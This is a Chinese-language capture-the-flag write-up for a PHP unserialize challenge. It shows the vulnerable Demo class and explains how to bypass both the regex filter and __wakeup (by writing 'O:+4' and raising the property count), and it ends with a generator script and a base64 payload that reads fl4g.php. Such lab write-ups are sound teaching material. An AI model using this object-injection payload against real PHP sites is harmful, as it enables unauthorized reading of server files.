Web_php_unserialize
知识点:
1、__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
2、__destruct():当对象被销毁时会自动调用。(析构函数)
3、__wakeup():unserialize() 时会自动调用
。
首先拿到题目看到给出一段PHP源码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
0x01源码分析
首先它定义了一个Demo类,然后发现初始化改变file值,而且,源码中有这么一段注释:
//the secret is in the fl4g.php
告诉我们,这个flag在fl4g.php这个页面中,在
function __destruct() {
echo @highlight_file($this->file, true);
}
中,如果Demo类被销毁,那么就会高亮显示file所指向的文件的内容。
那么Demo中还有一个函数就是_wakeup(),这个函数作用就是反序列化时,会自动执行,所以,要想反序列化,那么必须要绕过这个函数。
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
这里进行了变量的传入,使用的方法是GET传参,源码分析:
1.首先base64加密
2.使用了preg_match()匹配函数,如果匹配上了,就结束,否则
@unserialize($var);
所以这里要想办法绕过这个匹配函数
0x02解题过程
通过上述源码分析,我们要干下面几件事
1.preg_match()匹配绕过
2.unserialize() 反序列化执行_wakeup()的绕过
preg_match('/[oc]:\d+:/i', $var)
preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写
接下来我们将所给的类反序列化:
"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
为了绕过匹配,将4改为+4即可
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。为了绕过__wakeup(),我们将1改为任意大于1的都行
"O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
"O:+4:"Demo":3:{s:10:"Demofile";s:8:"fl4g.php";}"
反序列化代码:
<?php
class Demo {
private $file = 'fl4g.php';
}
$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?>
结果:
TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
传参给var即可得到flag